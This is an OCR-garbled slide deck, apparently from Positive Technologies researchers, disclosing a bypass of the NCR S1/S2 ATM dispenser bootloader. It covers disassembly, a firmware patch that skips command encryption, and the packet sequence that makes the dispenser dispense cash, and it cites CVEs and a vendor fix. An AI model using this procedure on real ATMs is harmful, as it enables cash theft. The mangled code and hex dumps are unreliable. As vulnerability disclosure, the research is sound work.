g0 11 D2 1C a0 00 O 47 FF FF OO0 Q0 00 00 00 4o N+ -I:':-!rflr ______ sanand move.l I"Ead_'Fl'FD_l‘JU'F_'FlBSh_\\'I"ltE.Sl‘E(BE:I,dl
a0 Q0 00 00 4 FC 37 00 €0 00 00 32 4€ FC 37 040 .. JFAT.T L LCFATL PT_LOAD 863830 0x1000 (ufff2df4 3041 ii;% iﬂrdldl
PT_LOAD 1168056 Owdbd30 O30 0 moveq  #510,de
1s1.1  da,d1
or.l dl,size

move.l read fife_buf flash_write.size(as),de
moveq  #31@,d1

At this moment you must calculate SHA1 and encrypt lerl  d1do

and.l # ,de

it with the private key using PKCS1-padding L e

move.l read fife_buf flash_write.size(as),de
moveq  #318,d1

1zr.1 dl,de

= La0 . . . and.l  #iFF,de
Lf.keys.private_encrypt(self.md.final(), RSA.pkcsl_padding) or.1  de,size

- - cmp.l  #3FFC20808,address

bes.s  leoc_lesABC

ign(self):
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S1(S2) “Secure” Bootloader

move.l read_fifo_buf_firm_sign.size(a5),d@ usb check firm crc and run:
eps to download your [E= & e
1sr.1 dl,de

and.1 # ,de var_le= -31@
] o or.l de,size .
‘l ” move.l (g_public_key).1,-(sp) link a6, #a
jsr _cciPKISize lea -31e(sp),sp
addg.l #4,sp movem.l d6-d7/a4-a5,(sp)
move.l d@,ds movea.l #usb_read_buffer_exleea,as

cmp.1 # ,d5

movea.l #resp_fifo_buf,as
beq.s  loc_186DAC

moveq #0,d6

5. Send the firmware signature PO L faTe e firm check-crera(a9), do

k h b | d [l e (= 1s1.1  de,ds .
pa.C ets So.t e Oot Oa er 10:71%0}\;: - Tg:ell ;Z?giflfo_buf_flrm_check.cr'c(aS),dl
will check it =G i
nove:1 (g shalctx).1, (=) 1511 de,di
C | I f | I f' ;Eje 1 igiégi,'s'p" _ . i:\}i.l gi;jififo_buf_firm_check.cr'c(aS),dl
6. Calculate a sum of all firmware Ser R = ni
pea p.}ainText(aﬁ) . »
WO rd S t h at We re Se nt a n d Se n d ;::E‘l i;:;:;iigibuf_firm_sign‘buffer(asj T;ili gﬂ,gidl
It to ru n O u r ;i;'l Eéﬁ; -W : EE:EEgEEE:::SQESIiCTi5 i:\l-'e .1 r‘iédififo_buf_firm_check. crec(as),dl

. nlnove‘l (g_pElbI_lii.c_key).l,—(sp) ; public key moveq #3518 ,d0
sr cciPKIDecrypt
new firmware | ne A

move.l de,dé
tst.1  de or.l di,ds

moveq #0,de
R D bne.s loc 10614 move.w (g_last firm_crc).l,d@
aw Data v - 1 cmp. 1 d6,de
b . 1 186B86
BB} 2o oo oo oo oo 0% 0o EF BE 07 oo oo oo oo oo |- i ... |a-s oo
a0 a0 00 00 00 0l a0 00 5& BE SF TCBFE BT CDE | ... .. . Vilz-<B move .1 p%aintText,ength(aﬁ))—(spj - | L ‘
.. pea digestBuffer(a6)
CO B4 CE 21 90 80 77 BC 08 BD 5C E1 1D 19 8B 3% [A-f1wh.mva. .9 move.l plainText(a6),-(sp)
OB 76 SR 22 3¢ 7F 26 D5 ED 22 DD AD E1 BA 1€ BF | w2l fivi-&=_; e e .
1 sc loc_1@6B86:
I' t:: 1 dB(Sp),SP tst.l (g_firm_signature_is_walid).l
bne.s  loc_1@6E14 bne.s loc_l8eB92
Raw Data - !
¥ Yy A .
B8y oo 00 0o oo 0o 91 oo =F BE 04 00 0o oo oo oo |- M. =
00 00 00 00 B8R 82 00 00 08 00 ©2 FF 00 00 00 00 | .- . ... By
firm_signature_is_valid).l| |loc_1@6E14: bra.s loc_186B98 bra.s loc_186B98 loc_1@6B92:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 | - ..o ... sE1C arl = = bsrow  usb_update nvram firm
00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 moveq | move.l de,d? I
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S1 (S2) “Secure” Bootloader

There is one restriction:
downloadable firmware version

must not be lower than current one! ., ’
Also we can patch “secureCommand

function to be able to send any
command without encryption

But you can patch the
firmware version at any time:

ites: bp-based frame

text:FFC2000C clobal patch size gj!_nhal DiSpTrl‘an?nlar"'u'iCE: :securetummar}d((unsignedlchar‘jj
tewt:FFC2000C patch size:dc.l $11D21C DispTranService: :secureCommand ({unsigned char)):
text:FFC20816 glebal _patch_checksum | arg 0= 8
text:FFC28018 patch_checksum:dc.l SAALT bytel= SC

b :FFC28814 global _patch_version byted= $1@

ot 28814 patch wersion:dc.w|$94 ; DF

bt FFC28816 global _patch_reserved link a6, #a@

(t:FFC28816 _patch_reserved:dc.b @, &, @, @, 8, @, @, @ tst.b  byte@+3(a6)

t:FFC2881E dc.w @ bne.s loc FFC3CTFC
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S1 (S2) “Seewre” Dispenser

» Safe-zone “cassette toggle” is not required anymore!
* Protection level will not be changed (stay “Physical”)
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StackController

StackController::validateCommand()

* Main thing that prepares banknotes to be withdrawn | E |

* Has many parameters and purposes

* Checks cassettes for banknotes availability =
* Checks other peripherals are prepared = j
to money withdrawal T ?
LE% A
5 B ez A
m_
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StackController

Dispenser doesn’t know the exact banknotes amount that every cassette has.
Also it doesn’t know what denomination every cassette has.

Possible measurements for cassettes are only:
* Empty

 Middle

* Full

No real packet was captured for this, sorry.
This is a hexdump from Python formed packet

But:

Give me [0x05, 0x00, 0x00, 0x00]
real banknotes

from the [0x01, 0x02, 0x03, 0x04]
virtual cassettes

O 00 02 20 00 EF BE 01 Q0 Q0 Q0O Q0 Qg

14 00 00 00 Q00 02 08 00 0% 90 00 00 01 02 03 04
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One day in one XYZ bank...

1. Fixed firmware was uploaded
2. StackController packet was sent
3. - We: “Gimme money!”

- ATM: “Nope!”

- We: “Why!?..”

- ATM: “...7
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ClearMainTransportController

* Initializes peripherals

* Initializes variables

e Retracts money that were not taken

* Must be sent by the PC to the dispenser before the first transaction

- No real packet was captured for this, sorry.
This is a hexdump from Python formed packet
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Our second try (successful)

1. “Unsecured” o —

firmware downloaded
2. ClearMainTransport
3. StackController

5. PROFIT!
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Assigned CVEs

CVEs list:
* CVE-2017-17668 (NCR S1 Dispenser) F—? \/_,
* CVE-2018-5717 (NCR S2 Dispenser)

According to vendor’s paper
this vulnerability has been fixed in the February security fix.

https://www.ncr.com/content/dam/ncrcom/content-type/case studies/ncr security alert - 2018-04 v3.pdf



https://www.ncr.com/content/dam/ncrcom/content-type/case_studies/ncr_security_alert_-_2018-04_v3.pdf
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Thank you for listening!

blog.ptsecurity.com Contacts:
— 3 B facebook.com/PositiveTechnologies Vladimir Kononovich — vkononovich@ptsecurity.com
Twitter.com/ptsecurity_uk Aleksey Stennikov — astennikov@ptsecurity.com
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